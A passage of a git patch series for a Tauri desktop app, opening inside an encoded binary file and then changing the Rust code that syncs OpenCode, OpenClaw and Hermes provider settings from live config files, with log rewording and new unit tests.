z$7MwA%kiyhTI5*e`mk(Q&ht5}_xB!Xl$y&A-}tzU7y{~B$_8(q^`||ac{pU!_6CX= zQS^qH*=H!*HUHIPB>xGFG z=Qu!g;@eHR=P1WWCwgTx+yF31o)xb_k?+R%P+2H!8JARIFn+mYD=@BEy!DKzJTJ;r zI_R7ME0XSDRsxH?1)Fwbg`BX^2cRs>U<*fh+M9rctp*S7rvc=B2fh%T5Hj}6Z7s)f zx1AX?Mh4%U{&j#A=V2)&ubtE)FZngmnUSTtF&Okoe_V6h9TT5|4&H=Lm*2h-c_%(S z^}@oI6Y7Cj}HfFUemB(ksxkdqilPKlTb#m`2`c>Ww3Lz8sjAGxe?wVvv#w{a?CduCy zkHqybX5S&;ii_HxX%XcZGPd=X`?bqy>h^hft37YEAKY87DfGUL!%1?%0NbHMr4Xy+ zpw;@HtdrS;_A}6-Dg&LWW(7jLw|51^EGECDo~K>_xZN{dfp(M0k##1OoXZel#iz$b zyfMB$T(5{NTUCtL$w%|N%3(UsF#XhxG*$z)vz(s5(%13WKk+g0My?T5tnm4_vBI;N z>d7*@)|rCi8;-65=j7#1K8!fUiG?B9x_&*L)^8b2UYJAL)_5c&jKw*Y)Z;%E-E=MB zstNCu9RmPd9?e+v_l2@OUtR&~)Gimz)`^|8f8T1nSD?lFTp9!aygg+&{rf zH*H3^HMw)LK!?cko5ndNY~M{ebS(D?~EM0EC}A)@CnuH9vgPdb9J%`o#z`=AGg!{G(ie>l5OAjb`VL7 zY~ML{vCCpgjU{luKsC!v-$_;6g2#`mh=l-Id3DKlCWVQ+wxxTAD?haAhpU^;&pLDm zT43#mmkf+F8s2e>wyBG3!wFJBJsttr5rcH52+C>7^*a(5^3qgITt;Gr-J6T;GEP7o zZtN8qa(w>X_`U~sJ32X2=`T!~ZLxSMoCy6L3IBshH?Hj)0Fu|^nrp<^zI7B!4lvt< z#lD16irlFH)fL?23g|&g8#hBFJ<1PjyjIWqq5?=aVQ6M-Tr|wCxVg0Pk}$|tC(k~u z(35R=jZ08@Ae>T(5?+xDdWAR~*cXhs;6*#*vAu=4PJKYsdVyj0L;{NWUk`u#j-XLuK0BB@Dl|MBqSbMB$( zGEy`;4#=!0nLRT?GfxB4W}*h>n)(8_CNT~xM4rK+fYesfyRB?st9Ys@tPj`<*B=xs zd$GYYBmjcpG+kmqdPaha9vtw1h8a_)p=FLJ=5g8cZzP)goD?ICp5h3TSUb@vfS0lPtL#o z=>%!RBS<-FGjp&N0uL2CE$$EMGo&IxQPWa1ZiY zTq1vojU zTc0IrN9Kvvv=pvRbsk1|C_f%#VJ3QQ&-}|_WJ@x~Z#s<)X=l3L1F9eSW{w2Ca=*xP zkx53aqGD5O|0}qcR*fFD@P%-M7x@+~#74+rs%R?imU2X(2rhzi+SjU#(Cdw2xRRu1 zpOtuTUmn(*K>V%3DNe$^^LfcA{uiQ#9c^sUD3s6#w7&3-p%oFY^sERhXb;z?7u-lZ zJ#V2_BJ1oDQCQPKEX1_Sm<|lmBoK!u9So7RubOpuE&PxcqKR_4pVe=!4lT2K2{!k! z660)=GS6n<$82-LAY={aTiE`=?{`=Nj-}ai+`l+H3$0+A1*TcdyVrU)c`5(?O7=C*EL2zg+c7xgQ-ofVjsVOjmid*|tB^A%}Tl3M% zGv5(z(*Cp)h_#}?`9bJ#ocSdHrq{QK?%n9cj9@pJ60jJd;Ti9BTQ4LSHg&YPtTbt+ zqd`V!r%9!|OT7ybW&&NQ-+waQ-RZ#=1MlE~c;z2bTmEx47yHkIX?a=<|1$#fhh37f(zVCZ>eq^*)PSR0jH#+My41G7f*;}`{ z*7jBmDY|L?dSOMVvVLG0+w-XS5<4_1v-k3oIMd7uuS1`QKpwHSdpe6#k#o+Tv)^(R zP51h`vNKx7;=|Wc&E0Xfjmq2REO_z0AFAzi(4I>QMDdl^pOCR5^C<($ho80ZIh%Bg zR=VT-*a@qa&?J58Y-{^SSDIe>20W<7efO5$$$qhY-#2k3N}uD)JT#%K2=`8j*E$`T z;D{|y^_xmq$di=YV(jhr;uqtmMV?Svw04}(%il66ILIXhKn@uwd_zM*Vu@DgIZ3fEE-B4~Cn%x;3 z9cOKIn~3+R_eV^0SahsJwM+~pdqV2sm<7_ut2Te`3h~5{BOS2`sWgy_wFe>Wa~0tLE^S1&v zSbZ~dw&r+Mya1eKUap{F&)-e;6Bi^eYX?4GJ`5X0|13&>m0E!l=akiWB5vtJj3qFZm}b zgWjs0%m?HL6G<=erqE`4Vsc+MNBHbcNWMO?b@rGN8(bFd*WF{8yTnarDF~BX=;T!_ ztP`^Pl|LCUHjQmJ+zSs*?};xIo!C+&&fVF*uYhTeh;!YT;FKSRicC=_qKJeE*NKCd z*TD8*PK;}AdNe<5*yZ{o~=mNGg#cU$=LZmBHYD>7>75BI%aGWcOGud%!#w9 zS)+o+iehInSSrNrO#mq3E1<$$j5$4vcywacDzXiV7o_)AV|C#zO%o&TcBLDo8B}*rd(UOf zkee;A{u+5XFW+s;dZ{333=>>(IAqhbcE$GN@N}OTnvq)SnI*|F!DsZ+V#ld8k535- z8`3q_@{qMm`C=q5r4KdH$bWptfD%1Oj%AGQ_BAod^WwxQ^~XqGg_eKyBkMvU210!g znaf}ahk=j8W4A6>b7^1I#}ygXe;PmBL+I_temM$3ZIEMQnhv80WH6{k{1w1K+p1S*?F^wkUi-sMGWhItr(k7>7=&Ho+HAFfkNnA zh36>jCn}7NwkEmVDs76!0mn!wY4@;tjIC7qGJB5MoOElfQmrfeC{%$)rEv<)jOUz( z2*nO14$_7VkRYXKV)l51xdm`#=s0fe1~2P-_8=+hS6;KdX2T7RsP;&u4ZG` zGg`zkbZ<7t`%9!RTfC`i78)Ivg+iF8Ubo1`^lzJpv&PBDGYc~coXf>hb4iyC9N56C zlJ;o{-EB2!M+*| z-QCu*?_~#gZ$qBcRCi&})KHWeV0+@hA28`EHXTnfY);)q?poJ32QvYt!B7CPtIjY) zi!M|K$9t=m*#)1ppzy@7!a5JEE2C=62i%3Ho5{n*ObLomeH2R{R7+w`^r}<$B;^V0 zXriJS-`fbqBcH+5Q;&gox$Sx@Xb&`M{)1p$?zSC+LPS}XI7}OmIoQX2IK)a^x$+8@)*CIwPnw}JQ zH-AmyFK`dZ$+mfFspWU5wbxrfy72M6EFMK}(@Co(3&(;2;r2Wix){Wkr}kNT$I7;^ zS=^KTclm=wo0~`-Ulc0^{TjKF*#9m{swL^E>-D`w7rQG+CTRz8*^2!Xqv!~ajEyBi zY*4^7W#{M5O-@ML`OufB`PZKl0S!B^e?R}1a!j9vIUj4kuFeZ0_5z*aVGGgw3KGT4 z?dSQ^iZI8M9T?kRvV=yQ95fW1d!f?S)I{HjPxM$h(dfF$8;nBD`G64jl?t8=9*?9V zlnllC&7K?3sK5h+cdlD-);hbCJ}Op84&5)*VmQaPwJr#8NI>TuLqscqC67~>jJ(HU zufSdpvx(Ah{z!qI=B7)jssW@;>n2tpiUPad#XI4m!!Dp)5MM+~WD9vRKhOPzR81`T z+04%=SNuW1$<;01bN%tWpW+1!LR1;_w9;<$miYcgSszynpr5jgWZ|CC<*OtOqS+=c zVBOg0{$fcI&F&|Emk3pblI$s2UplHFm1nBSLE(>-iv;$Zea&vN!gp)@74xjLPK#`=;-0_GE!Z z`MUzI-!lEGvH75Kwu84wQ(385ps)DY`?VhCSOoDpyA~VsVqcs#Z-4pP306}#aH+otNz^2arjPFywY^^U)A37w+dl5FjD=GD)7_Z#LIl<=s@FqHli2ZpNdF$KG} zCXM^Y02-bF(Tn5$bg7_kkX^?ssD^naPWbwmEq7;3S#Rqux6#=LQ>hN61fzI`Zu%;B zQ*pT5*U#@nKLyfwN*UyT1x(Lc_ZOcH#RRHc7nwm6yn!m;9Z7L!X%0vklRNViu}acx z$Cq3!eW>n6Fn}Y}{PZoc0Fie5$ev86KH&Xh9AfrZn}c7~!}YC-cmDdAkfL)OGJAhY zy|aEoQK!(~J&5av{bb!YKKV+1LBaCZJ|&IbN1YtQ6zMU{=__nH#!+fb=T}yzW>?&M z8$;q1IrGh6hGg{Bva${1SFlJ5ZoKR>Q6t%S)WvWZ?yT!6;o01BYe>hxV5o0zA>K-> zp*@zVj`A@p?-DcYfD!TyWG?fMllGEayF-`9TsQUC)zLB@+^6*N?+&LHy&Bl<6?J)0 z%yh<>N|hL22Uc7#fhK`7#g8n7k=w(tWhZzvOp6*WXVRkxP$cI>m52)8OQy@!SSk0V zuXh%W54pviI+J;_*foF8&66&41e1EAu}m36A{0O1ln!LdlQxF`1}W{uHKp%2j!gMm zP}koFEE7XD8=$MhQY>4bKeS^<1f%p78T_e&!Kj=tr6V>%i>vrU+^PR-FO;CJ5UPCJnIZuOTR z3!~!TZ|Rf>dQWkRA{&W+yvQ*R|M`?ZNFMChh>GR#2y;DrC$e!mn?;S@TGFv|9BDM$y0BEC57WhM7R%vp{dwH#zCqVR3Vj zI(I3*)15vyIdk z8@roSLS$IoxFeI!VE+!qPi>{ekk>uYbHSW9KLAUv29Z-!;LCFly|bTBC2>(5-aKAr z`P4^kPr|eyEJFM!(zSA-k$O?8LpFs>x2>IiO4JMux2j!fFzwdu8jZVvv^5WD^Q4K- z2CPXS7?WY41TCGhn); zEo0+T=8K0x5#i172P>3W<=wOjx|lnjYpm`_wiO4R#;H9`LDvoS^q8f>;PW8%;FIV) z#e0Hw+A((|k#?;KC|nG{=-Z622>ML}Ky9JafU2BV-i{^#Q-yDJDSgfwpzcy^TKVwj z=Jr>=>a+$0P8AE=;aAu3+I^zKT4lZ7 zi=4iWP&Qq^x!KcSrKB&Q1_Y)EQ;pz4vbCK5VIL?qg_v(<4yE9(B9b5k5#@)+`IH;rf(qD5iDdJw* zzE>WlQ?zLJnZBPWm(X+Q6or03N088673r00*JpN#e||CCI~GRL+l3K}iRX*7oWBa# z{ygq$B5M>x9O}jN;C|8ly)ovN6H%HXW|;Lg7@z>#DQ+fY)ybO9yK*R&xD2~D9M=`* zpj!C|$H}p&tn0(?d2=JTXd)0ozU?4qXBToMZKm^r;h_lEhb zw$LV-DYVDOt8AFS682T&-Sx6zKA$e3EeoaKAe&A;4(*K>9x8f7bE!9RUrIPHeC~Mm z{s$=<=#b=hZS8#VBU6Xj#vTfTY*X);qG{`ub-V!WX}dzh+Ds?|ycu2-9H>cU zsPdpu71BKiDYrp;%7<%MtyN#3DH0aME37on$7Xkw{J@dm^cO9f{qZX-8O?C$S?zM-_K;1rPS;9FI6UliIp6D;9vHl z-Y)?-CemI)lGpJZjI68&mZ_$0IW3>=wCCy9tWTcvMg%ff*aABA*yKGL2ycn!tW1OF zqu0T(BB`IeTh1ksij60-6ShA;H+hMhL(Ls2(3laXh`QaD=ch%1<4=P=Xyt2ar(4E+ z9rS1X3aB6}`xjsf^k?a9`mMcM)C6MeA9t^4K$&Dai~Z&o$*|g1!KcR`&(8l9F6Fm zz0jnF5|WNkOI`7$Z|gm{0pyNP31EAj6ec5RnTvWY#uQs`NtwK}u|*K)Q9hyxU{s0= z#YYRwlES$KywWi5F4Uf`m91#&v4ECIET3DJBYT~DkAr=mw5~;k_0*&8ts%_7ooT8? zwA;KlXgxqmavFgbk8_m_1h&SU1NwVn3r6e)kTH}So1YMPK5vQaWpLhEV=*q@|rkHlQ1A4@_6t)wg!*j6Bj!XmIbKqtno;;M-3be zo`Ckp=3J}6Ma5CI-`QQUYKLV$FbWXz$Bx8`ixNGjs0JK7j|-+e{4c|CS>1b%1x7JS zA-ioRAEj>gq=_4p$iH|(d_E@;pvVa550(Sy-=^YbB;KCu@ZgdfqUo`im)tD>z&oD= zVp5CbHD&r199r(YD3a9NVtF%gJ4jKtQJ)d!_0^E=o$1HdN}W6tB~As-i?!0-RC2~a z0b%!$S}}}8L>0ElRjFbgN{6sC@?~w<%K5;E0dFMYFyl;abPBn}GG4~i+Tw&n=nZO8 z!^g8;m@{D*oQpnAzP0!roNGAoN2wK=5MA$*vvN5ZxN~c^P>`4KE3Bq;C#Gk3`@58MBjFuPu zSNsUfG7AM$@54f<{Gj>o$C1e z@d1ArwosVkeJR+^;2qc(?0#rTTRDj#+&ub014HX8FwHG|z~sIwMH%mNepH~yR3E*8 z-v2nGimDjFeyqjkx5 z{<|&!M?vl1^rH1*fD18rp!bLS5I&HZxq4E7wABn@Yyw|t=6ubA#pb1j!Zp9)$_t5QYcr>kCy zR_Jg{*BaWQa3ae-V|FrjZT0jVbjw9S)NuqoLUp%O-YNXo)=V!^-wUp}-`|q>)lTs# zsIx~!$v?(L{5gGs|44UUbqNA|DpINjidP8WKYHx z^XY!UxuW!@=U=ro?l9X~ZPX2a`E~vEKSm9a{KwpRL@cd#?7)W9MPi~ME z@~#JW*$ky~@CF?io5+ng`RntIB}UD8{iXfCn7g!K!YHusN6>uK<2@cG)nbkaV?;?V z@X%cgeo!(or~G+bLI`-Y8=B;QtnANtqwarYoIg4>!yGmIBiQg6B^Lr(2AZj2g7K&~ zs0|JtKMl<+F~yMv3w2%(q=2{qy1E_%>Nj$Ct`E-w%%J_x;lcjr@K91S|6_T;E&k7I z`_E4Ke|+Bm>wv*a!DaX;G%U;|x!MA#90j8^xh$BIF|T!Pu$cb1dMpVtvDeqJwFDL1 zZ{zT9Ft(vHqhiT35T8}ZiTP1s2~Y-PQAB*cz^J8fQJL&HnD9X?#w9R55v*7COi@{Q zway_sU@tMzq;F6gFw5V8`Z~XGU4y+*I z*=D4B@bitl-20;2B~d+gVlHd39UZ9>sfp|g;m^w6Z7)3%jzXzFO|!pMxR!rf{X1HWE9iM4k9} z9nvOjSecEE!(vJA0QIKVjg-2=*U16vA3kW?ZGNJV>x2^g08}`XGkIu7g?i6PfhN%+ z#f=YO_Erjw4mCi-fDw4NBgdFFg$PFSF9||Ph}n8!4b^8L?QT0( znvJ^F!#ewWeCqO1*>luA1{wd!FMfE1l`euG8ih(%7Sb)MB2hPx!gNirbpqT9wV)?C$2#hz%!#WCCBxO?_B(#e0-avBxmYJODPr#m$E*4VbNZeEX(P-anx zxXRk%Kg|J@8;!~rWVQR>ks1}&KQyaHSNER!n4;9ypbV(&5x!uGewzfC=o==cdYfzNRg%tylvDwZL3D09(hZ$GnhYx0xY zxm@xD^4Dc5ilL0M*om1fjvfQ3eh#Ilzpcs#4r7-><(`_cl?DTqx||x@cV`e|T-~$_bnaiE;O;n68S= zNB_fE@Q-Pc@5um3G9=y^Xfu86KPFW>h<=jw5GytP&fjImb&eb}whx3#U-URhqFytI z<)ov!1&c<<=niC-3sPiQtG{JEsj8ZSbJdtVG9S_Vg*ZUg^^UL)KGCte;V0j{+Ufbm zv$eJ|>)B)HVXe0pOS@A%zHJO1`EInwYpT@aef8T7TUXyvHnD;duyaWRbq$@G#A&Se zQPOskAPHuh(|lJ?Bwah2Dq{DFY~f3kEEocDsXdVLu37U z=zWR{23}=t2NlHA&AR`5=w(_YXuK{QjT_`A?2xibjHrnpW`|PpiglhlVPCruhCh{1 z_R<89Exr3I+y&m-K55h{Q=MkawOV7etu%q^g-xpnPuP7_jL!eh_V`lUP0O|0w*OaSWAuh zDSgieq2gwvnlxa_GT_CyeY%*?Iap{QG+MnK-DkNyL~VmM3shNH`^85_>XW2>0FWBv zz1z8bvk@+Ar;vSQ)51}i*djn zs!}{6a(z409T^!3#Vlr{0~1X{ftuC!)Jgod$sJu?Yui)WZ)kl^nkI%nxwN$B+WvUs zUK53p87}n~9vsADb@JD;i^Do5F+lDNOYAs`0m7wMCYSt|O?>vZLJxG|E8u) z@Lutgj=BccDqU9wn9HR;K?WVyjg&!MTNdQ8>a;!-oyg^Ls$V-}^ z8`=@nDCXm}g6MVS%PP*;QqM9f>_#UpFE38< zG}gw}7k=^TAP~7;$I)~F*mc$C`a9%gtNK4F7y;pVg$`1PHXF}ru+WNK{{@UcMW<}| zW8!_8ZTIs+L@>ZgT-HSw&$s<{tW9?3IxVLfYBfMc5^;FK=e`5EBYM=yunxeXjEORd zsArA;KZn;SIg1{A`ugZNc+&tbVeO?)$iavTMflyc$kqVtxWk!4=d%Nwh^Ktdzgl|$ zrz?ikGl7yI5gu8dHsa3<2h)S(gA(B=^JRd9{Xt0-dxXI<1ICKP1k`bY_U<(-?Y=WZ z_fp*b?BEWORF(okT({@Zj;@st?2&GPt50>}^Fmr-?~;SH!_S8TD{7?OJDn6mIm*=v z6WtXK{enFS+s?;s923J;0p7=#-i=#GgL}O?Lz4Ty?0?IQWV+rpWV%Um14SAVby?%! zfBto+1_xr|aI#~jk^P9+W_pUh%QzbcF6z1wxn5kn_G1g=Z+&H!$~i!&h-Q7$1km1+ z86+%HMO>a;U2JcTcC7A+v&~Zgr&RK1vIk4y+7r*mYWaNiN>@?yUYQd7&%`4f2mn&H zeWmka(HQJ9qQY#WF!9uShflqFGuN=TtZc8^1g$BdVRxy1u=w{r&AHLjhD5uGl3oiV z9upO+_7-W`h2fE@!N3?sWdxYwmQ*~a@i@Reb??m;=?4lQ(bVI}b1`p|BKce&VXb7r zo|>2dAHi655Fj+t3&V1)iyW`5UHp)FHK^PQ9848^@$@Hfrw1}l z6*ph80e$^Aajzq#3>i$6Twe}|yDw@ZyM2)fepjao+6Y}bFlY@X&Rvy36aLVt(%Pwh zp*OCtH$Go2C=;Tvxw=(9Zc}V}@<5WNEYJ;G@tx; zP2sY=QTOW&ojS>Y%H$m|>=8v6uwW}$1SZFEz+l}rV}_{tG^70cqJ?^w)rl>cS)9 zu_M3dX61+{0`*OU3>53{(6NxRYaC6Y|Mgm?_0QbV6R4f*c`6&%APLcftcQeg-L(5J z#jP#H&bFJKUncb`PAMac^q9bs-m)^xLz_9uw6)8W(Da=Q2^xI&D<5lzXbZ24;9SeW z?1;m&iP~2^tD0+W({yKNO*3m~ARae2UvsYCZe? zM9$rAkAtO704a@aq`y#%E3N9~c63jSWVGbfi7bu#j5Jvv_bS8fgOMG?aHXxzaZ`}! z`FGK6AaK{t$i?-&aZ3M7s%Uk?A@ajuk!cUgI2~9_G8PQba@16#i zB7y4RdMUw6fTKrti{$oI>l^`}oktnn9xGMz4Tzlpm1>p229H;kcSHYX0FpOwm=Vah zv~TbyJhEA-7zszU^2HbA~r7!uc0AVKxNDS{DEL$ z+?_(onJ2rg#6NIbJK=diMFaGZuB*U*`1MT;hW%$F1M?TtND-%1Hxpq!qCVh~{^41# z{{ap<8d-s6T;h8n!AB{Qw#kNCGw*pGF#PK)lVX4@8|tz)l90Im0;%Zj^b^Nsssu)Q zSfcW;t`D$ND9`c-hwSC~2xXPSxH#_hV zQ&eKz%PloAmpORF3#6{`%B8gk4SB)8{A$7d>_lZPgscuNn9s=v=S`Pd&5b_I%`u&t z;9GAWN&OsQi9);o#V7kdY}}wSx|#5T5to9LaS6%QNXp&C{Ai-|KHti!v9niW@~XQv z;#yDpA6^kuN*IgLlqR5zg@2c!RIe=GJWk5pAi+2|$%3z^w%jV)xwdR??c-DiBEk|? zs{e}*xV`gw*SNR>ZN*PtlNgwo9-7~s8W-Swy7bj~H}lI|{@iEQ&AB75Iuo^ z^)n--Sa2?O<|77kO-zDy%xB~mjsJSZ#7HtVQRYJ*EAzyJ%kTj=SzkiTE;j+5ybs5< zhW5XBc4}O)Uybz$qk2`6I4a8G3aLd?O%36%P*XZT#H9@YyfeS>nonp(nkZA zlvPxoALbf{<{vKivp+6*ULHQyX&u^8fMujNM9q zl7BXvH;?*_8=sAZ-XZzG81hVOOTN70xyFLLFEipLv@zK)Pq`0Nr0|~MhJLYJi7+U^JpUKVb*M5oeVrjpP#4(fm%tu%L zJ^QMY9kv4;gtOZ^`JQ2dS7ri>!8OqHk3P#x>7!e^#NKFbx{{q8c~9oVdzs($iH=Xc zce7V#E_1V-a!Y&N9^S=S7a!0ufV_}a7r@bm_s&2bzB_Av)*Kk$TW=a>=7R$#HN&=_os0tm3Jr|Q3*3>*WT7jlZ!hvZK$FNjZlO9 z!eMjB8Y|;jir+%76iocgfm3-1y@<>Y(?`?9?L+XTFNck7Ik(uljQFY_M~v zyb$r>Uzu!Xa!YYve9z94tY<)EI+|5byYpUX97kzV<;cK^J0l^R7SF@ZyI*64W5Q(< z?>J${xl_Ix&uV|Y(u!dz9Ml5ueFxc6h#RF#32!@OLAI3f7|+F>&W;W-GddJ)3>I0w zT1DnZjkW#D6ETf$S)nii#j|8wa|G2BG${U!-}^W6CAit#GAYbtKF2ocGE%jPS}&<2 zX-P2Bus!DabUNQo3J4-f-ZBk*{F&Vr=TpB=U(w>Eb8s#2COk1+uDFn>xIL%Ve|46P3*c=1 zYGuDxhvV_nCN94jE7mYCR8o4j;54fySEyKvS7?jHj0GaDJCydWU^&$7rQrkg(5l*} zcUZqx`gMtFDwSr1PIoiEI-$x`%j#r9DyV}`5IMLA&)A>PSo8ZW|E7|g>o;Y8*IRmC z^Rz>%=?qt3>RJ=iuCz^Ii){pNlJpj9kJ_0bbATbdNvnV1%qNFhKMSqzVV$~3edg5P z7j+`yH|O%}3aDv(6<~d#&}tQs*rR2!`IGx9uaKz@nR`}*xT}h1&0o4f$wl>+?8;3B zJ}sdSTZ>=$hZgF!@V!7~el!&||W<(s^P z!s%)H(?eHZJMoM6b;|K`bBo^GPxkr{{A;ezFQF+L@4Kp=QJj{L6Q(Mp#qHG5a%<^| zORw}+6*PVHTJNmkBwG&3FBhgSaN?a8KF=joOjY2R$FwzG3VZhb{Cle4LzCFA1#C_N zJ)x{l8Z8bItF;0Hc|#L7PLM8ba1MFr<<+!j#kPmLe>I;EQWf5H#3^-Eh2g(Fn|wmn zc}y);OcGB!Kg+l1>8XWB4*!{?pC7l=CSUI4Z1w(_Y1Yf11img#Ij?6~oHlumR{Xa& zk*d{ZUsv)OMQ_uY6uWZf%_;n$*W=gxJ5rby$eRv4hlOCiP+$yZSx|pa>-`*~S=PXX z8*_r|pIP|8)A4%WeC@fAK%&M9v#hiFlP~@I$G?1aYX(!p=&*bV>jK literal 0 HcmV?d00001 From e191af4aa14175741b6aaa251cf91787815f8bc3 Mon Sep 17 00:00:00 2001 From: Allen Xu Date: Wed, 8 Jul 2026 10:34:49 +0800 Subject: [PATCH 25/73] fix: OpenCode live provider import updates (#4712) * fix: sync existing opencode providers from live config * fix: preserve OpenCode provider display names * docs: update comments and log messages to reflect new update behavior - fix stale comment in lib.rs that said existing providers are skipped - change log message from 'Imported' to 'Synced' since count now includes both new imports and updates --- src-tauri/src/lib.rs | 13 ++++---- src-tauri/src/services/provider/live.rs | 44 +++++++++++++++++-------- src-tauri/src/services/provider/mod.rs | 34 +++++++++++++++++++ 3 files changed, 72 insertions(+), 19 deletions(-) diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index fa73a8d92..9737a52da 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -672,18 +672,19 @@ pub fn run() { // 1.6. 自动同步 OpenCode / OpenClaw 的 live providers 到数据库 // - // additive 模式(OpenCode / OpenClaw)的 import 函数本身按 id 幂等, - // 已有的 provider 会被跳过,所以每次启动都跑是安全的——既保证新装 - // 用户开箱可见 live 中的供应商,也让外部修改的 live 文件能在重启 - // 后同步到数据库(与之前依赖前端"导入当前配置"按钮手动触发不同)。 + // additive 模式(OpenCode / OpenClaw)的 import 函数按 id 幂等—— + // 新 id 执行导入,已有 id 则更新 settings 和 display name,所以每次 + // 启动都跑是安全的:既保证新装用户开箱可见 live 中的供应商,也让外部 + // 修改的 live 文件能在重启后同步到数据库(与之前依赖前端"导入当前配置" + // 按钮手动触发不同)。 // // 底层 read_*_config 在文件不存在时返回默认空配置,因此新装且无 // live 文件的用户走 Ok(0) 路径,不会产生错误日志噪音。 match crate::services::provider::import_opencode_providers_from_live(&app_state) { Ok(count) if count > 0 => { - log::info!("✓ Imported {count} OpenCode provider(s) from live config"); + log::info!("✓ Synced {count} OpenCode provider(s) from live config"); } - Ok(_) => log::debug!("○ No new OpenCode providers to import"), + Ok(_) => log::debug!("○ No OpenCode provider changes from live config"), Err(e) => log::warn!("✗ Failed to import OpenCode providers: {e}"), } match crate::services::provider::import_openclaw_providers_from_live(&app_state) { diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index b4af9fc01..d289e289c 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -1404,15 +1404,10 @@ pub fn import_opencode_providers_from_live(state: &AppState) -> Result v, @@ -1422,13 +1417,36 @@ pub fn import_opencode_providers_from_live(state: &AppState) -> Result { + let display_name = config.name.clone().unwrap_or_else(|| existing.name.clone()); + if existing.settings_config != settings_config || existing.name != display_name + { + let mut provider = existing; + provider.name = display_name; + provider.settings_config = settings_config; + if let Err(e) = state.db.save_provider("opencode", &provider) { + log::warn!( + "Failed to update OpenCode provider '{id}' from live config: {e}" + ); + } else { + updated += 1; + log::info!("Updated OpenCode provider '{id}' from live config"); + } + } + } + Ok(None) => { + log::warn!("OpenCode provider '{id}' disappeared while importing live config") + } + Err(e) => log::warn!("Failed to look up OpenCode provider '{id}': {e}"), + } + continue; + } + // Create provider - let mut provider = Provider::with_id( - id.clone(), - config.name.clone().unwrap_or_else(|| id.clone()), - settings_config, - None, - ); + let display_name = config.name.clone().unwrap_or_else(|| id.clone()); + let mut provider = Provider::with_id(id.clone(), display_name, settings_config, None); provider.meta = Some(crate::provider::ProviderMeta { live_config_managed: Some(true), ..Default::default() @@ -1444,7 +1462,7 @@ pub fn import_opencode_providers_from_live(state: &AppState) -> Result Date: Wed, 8 Jul 2026 12:09:56 +0800 Subject: [PATCH 26/73] fix: sync openclaw and hermes live provider updates (#5098) * fix: sync openclaw live provider updates * fix: sync hermes live provider updates * fix test: hermes live import stores models as array after denormalize The test import_hermes_providers_from_live_updates_existing_provider_from_live seeded models as a dict, but import_hermes_providers_from_live reads via get_providers() which calls denormalize_provider_models_for_read(), converting models from YAML dict to UI-friendly array. The test assertion accessed models as dict -> Null -> assertion failure. Fix: access models as array by index, matching the actual storage format after live import. Also verify the id field is preserved in the denormalized output. --- src-tauri/src/lib.rs | 8 +- src-tauri/src/services/provider/live.rs | 58 ++++++++++--- src-tauri/src/services/provider/mod.rs | 109 ++++++++++++++++++++++++ 3 files changed, 161 insertions(+), 14 deletions(-) diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index 9737a52da..98ff01073 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -689,16 +689,16 @@ pub fn run() { } match crate::services::provider::import_openclaw_providers_from_live(&app_state) { Ok(count) if count > 0 => { - log::info!("✓ Imported {count} OpenClaw provider(s) from live config"); + log::info!("✓ Synced {count} OpenClaw provider(s) from live config"); } - Ok(_) => log::debug!("○ No new OpenClaw providers to import"), + Ok(_) => log::debug!("○ No OpenClaw provider changes from live config"), Err(e) => log::warn!("✗ Failed to import OpenClaw providers: {e}"), } match crate::services::provider::import_hermes_providers_from_live(&app_state) { Ok(count) if count > 0 => { - log::info!("✓ Imported {count} Hermes provider(s) from live config"); + log::info!("✓ Synced {count} Hermes provider(s) from live config"); } - Ok(_) => log::debug!("○ No new Hermes providers to import"), + Ok(_) => log::debug!("○ No Hermes provider changes from live config"), Err(e) => log::warn!("✗ Failed to import Hermes providers: {e}"), } diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index d289e289c..961df149c 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -1479,6 +1479,7 @@ pub fn import_openclaw_providers_from_live(state: &AppState) -> Result Result v, @@ -1507,6 +1502,30 @@ pub fn import_openclaw_providers_from_live(state: &AppState) -> Result { + if existing.settings_config != settings_config { + let mut provider = existing; + provider.settings_config = settings_config; + if let Err(e) = state.db.save_provider("openclaw", &provider) { + log::warn!( + "Failed to update OpenClaw provider '{id}' from live config: {e}" + ); + } else { + updated += 1; + log::info!("Updated OpenClaw provider '{id}' from live config"); + } + } + } + Ok(None) => { + log::warn!("OpenClaw provider '{id}' disappeared while importing live config") + } + Err(e) => log::warn!("Failed to look up OpenClaw provider '{id}': {e}"), + } + continue; + } + // Determine display name: use first model name if available, otherwise use id let display_name = config .models @@ -1531,7 +1550,7 @@ pub fn import_openclaw_providers_from_live(state: &AppState) -> Result Result Result { + if existing.settings_config != config { + let mut provider = existing; + provider.settings_config = config; + if let Err(e) = state.db.save_provider("hermes", &provider) { + log::warn!( + "Failed to update Hermes provider '{name}' from live config: {e}" + ); + } else { + updated += 1; + log::info!("Updated Hermes provider '{name}' from live config"); + } + } + } + Ok(None) => { + log::warn!("Hermes provider '{name}' disappeared while importing live config") + } + Err(e) => log::warn!("Failed to look up Hermes provider '{name}': {e}"), + } continue; } @@ -1580,7 +1618,7 @@ pub fn import_hermes_providers_from_live(state: &AppState) -> Result Provider { + Provider { + id: id.to_string(), + name: format!("Provider {id}"), + settings_config: json!({ + "api": "openai-chat", + "base_url": "https://api.example.com/v1", + "api_key": "test-key", + "models": { + "gpt-4o": { + "name": "GPT-4o" + } + } + }), + website_url: None, + category: Some("custom".to_string()), + created_at: Some(1), + sort_index: Some(0), + notes: None, + meta: None, + icon: None, + icon_color: None, + in_failover_queue: false, + } + } + fn opencode_provider(id: &str) -> Provider { Provider { id: id.to_string(), @@ -1362,6 +1388,89 @@ base_url = "http://localhost:8080" }); } + #[test] + #[serial] + fn import_openclaw_providers_from_live_updates_existing_provider_from_live() { + with_test_home(|state, _| { + let mut provider = openclaw_provider("existing-openclaw"); + provider.settings_config["models"] = json!([ + { + "id": "claude-sonnet-4", + "name": "Claude Sonnet 4" + } + ]); + state + .db + .save_provider(AppType::OpenClaw.as_str(), &provider) + .expect("seed existing openclaw provider"); + + let mut live_settings = provider.settings_config.clone(); + live_settings["baseUrl"] = Value::String("https://api.example.com/v1".to_string()); + live_settings["models"][0]["name"] = Value::String("Claude 